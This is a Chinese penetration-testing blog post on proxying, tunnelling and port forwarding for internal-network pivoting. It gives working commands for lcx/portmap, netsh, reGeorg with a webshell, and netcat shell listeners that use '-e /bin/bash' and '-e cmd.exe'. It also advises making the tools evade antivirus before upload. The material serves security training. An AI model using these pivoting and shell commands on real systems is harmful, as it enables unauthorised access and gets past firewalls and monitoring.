内网渗透(四)--通信技术

本文最后更新于:2 年前

主要通信技术

当拿到某网络主机的权限,发现无法将流量或者权限发送出来,对渗透造成了很大的影响,所以内网渗透必须需要了解到两种主要的通信技术–代理与隧道(端口转发)技术

代理技术解决的问题:代理简单来讲解决网络之间的通信问题,如内网与外网之间或者两者自己之间的通信,两个不同内网的通信就必须借助到代理,否则无法通讯。

隧道技术解决的问题:简单来讲就是解决流量无法发送,隧道技术多用来绕过一些安全设备的监控,如防火墙过滤问题,网络连接通讯问题,数据回链封装问题,对我们发送的流量进行了拦截,这个时候需要接触隧道技术绕过拦截,隧道技术就是使用不同的协议把走不通的路走通。走不同的协议技术建立通讯,可以说是其中也包括了一些代理的技术。

代理

正向代理和反向代理

正向代理就是你主动请求连接服务器,反向代理就是服务器主动连接你。

正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性减少网络使用率;
反向代理的典型用途是将防火墙后面的服务器提供给Internet用户访问。反向代理还可以为后端的多台服务器提供负载平衡,或为后端较慢的服务器提供缓冲服务。
另外,反向代理还可以启用高级URL策略和管理技术,从而使处于不同web服务器系统的web页面同时存在于同一个URL空间下。

隧道(端口转发)

一般情况,在渗透测试后获取主机权限后下一步就是内网渗透,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 隧道(端口转发) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做端口转发

隧道技术使用在不同的OSI层进行,大体总结了以下三种:
网络层:IPV6隧道,ICMP隧道
传输层:TCP隧道,UDP隧道,常规的端口转发
应用层:SSH隧道,HTTP/S隧道,DNS隧道

需要注意的是,使用某种隧道之前,需要检查环境本身是否支持这种协议的使用,才能去使用响应的隧道传输。

常用工具

内网渗透中常用的代理工具有很多,例如lcx,nps,frp,venom,proxifier/proxychains+reGeorg等等。这里我就不全部讲解了。

1.LCX(Windows)/Portmap(Linux)

很有名的一款工具,杀软直接秒杀,上传到目标机器前要提前做好免杀。下载地址:https://github.com/AA8j/SecTools/tree/main/lcx

下面介绍一下使用该工具的两种场景。

(1)假如此时已经拿到了边界服务器的权限,但是由于防火墙限制,进网端口被限制,但可以出网,此时就可以将边界服务器的端口转发到攻击机上,然后访问攻击机的端口。

边界服务器为Windows:

1
2
3
4
5
6
7
8
9
10
11
12
# 攻击机上执行:
./portmap -m 2 -p1 4444(本机监听端口) -h2 127.0.0.1(转发到目的IP) -p2 3389(转发到目的端口)
# 表示监听本机的4444端口,并转发到127.0.0.1的3389端口。

# m的参数说明:
# 1.监听port1 (p1)端口并且连接主机2(h2)的port2(p2) 端口
# 2.监听port1(p1)和port2(p2) 端口
# 3.连接主机1(h1)对应的端口和主机2(h2)对应的端口

# 边界服务器上执行:
lcx.exe -slave 192.168.8.48(转发到目的IP) 4444(转发到目的端口) 127.0.0.1 3389(转发的本地端口)
# 表示将本地的3389端口转发到192.168.8.48的4444端口

边界服务器为Linux:

1
2
3
4
5
6
7
# 攻击机上执行
./portmap -m 2 -p1 4444(本机监听端口) -h2 127.0.0.1(转发到目的IP) -p2 222(转发到目的端口)
# 表示监听本机的4444端口,并转发到127.0.0.1的222端口。

# 边界服务器上执行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 192.168.8.48 -p2 4444
# 将本地的22端口转发到192.168.8.48的4444端口

(2)假如此时已经拿到了边界服务器的权限,但是由于防火墙策略限制导致3389端口无法出网,此时可以将此端口映射到可以出网的端口。

边界服务器为Windows:

1
2
# 边界服务器上执行
lcx.exe -tran 53 192.168.8.56(边界服务器ip) 3389

此时远程桌面连接192.168.8.56的53端口即可。

边界服务器为Linux:

推荐使用ssh隧道。

可能有师傅会问,既然已经把远程端口转发到本地了,为什么还要在本地再转发一次呢?这是因为-slave参数和-listen参数必须成对出现,否则连接远程桌面会一直连不上。

2.netsh

Windows自带的一款工具,不需要上传到目标机器。值得注意的是,它不能把本地端口转发到其它机器上。

1
2
3
# 把任意机器的指定端口转发到本地
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=目标机端口 connectaddress=127.0.0.1 connectport=本机端口 protocol=tcp # 添加转发策略
netsh interface portproxy delete v4tov4 listenport=目标机端口 listenaddress=目标机ip # 删除转发策略

3.reGeorg

reGeorg是一款把内网服务器端口的数据通过http/https隧道转发到本机,实现基于HTTP通信的工具。使用时需要配合webshell建立一个socks5代理来进行内网穿透,支持多种类型的webshell。因为使用频繁,所以较多的杀软都会拦截,需要做免杀处理。

免杀版本下载:GitHub - L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

边界服务器上传webshell后,浏览器访问边界服务器webshell所在地址,如果出现提示:Georg says,'All seems fine',则说明连接建立成功。

不过这款工具一般搭配proxifier或者proxychains使用。启用上面的脚本后,命令行会显示转发到本地的端口,这时再搭配proxifier或者proxychains使用就可以了。

4.netcat(nc)

这款工具太有名了,被称为“网络界的瑞士军刀”。除了用来端口转发以外,还能用来传输文件、端口扫描,不过这里我们不作讲解,有兴趣的自行研究进阶用法。

常用命令行参数:

1
2
3
4
5
6
-l 开启监听状态
-v 显示详细信息
-p 指定监听的本地端口
-k 客户端断掉连接时,服务端依然保持运行
-e 将传入的信息以命令执行
-n 直接使用 IP 地址,不进行 dns 解析过程

一般用作反弹shell,正向连接很少用。在公网vps上监听:

1
2
3
4
5
6
# Linux主机
nc -lvnp 本机端口 -e /bin/bash
nc -lvnp 本机端口 -c bash
# Windows主机
nc -lvnp 本机端口 -e C:\Windows\System32\cmd.exe
nc -lvnp 本机端口 -c cmd

目标机则可以利用各种方式进行主动连接,例如bash反弹一句话、Python、PHP等。推荐给大家一个谷歌浏览器插件–Hack-Tools,里面可以生成各种正向连接命令,再也不用担心命令记不住了!

5.venom

参考文章:Venom工具的使用(内网渗透 多级代理)_rang#的博客-CSDN博客_venom工具

6.nps、frp

由于官方文档很详细,所以这里不再讲解。

还有一些极端情况,比如目标内网防火墙禁用了http协议,那么只能采用dns隧道、icmp隧道、ssh隧道了。由于篇幅有限,这里不再讲解,需要时搜索对应工具即可。


内网渗透(四)--通信技术
https://rookieterry.github.io/2022/01/25/内网渗透(四)-通信技术/
作者
HackerTerry
发布于
星期二, 一月 25日 2022, 4:15 下午
许可协议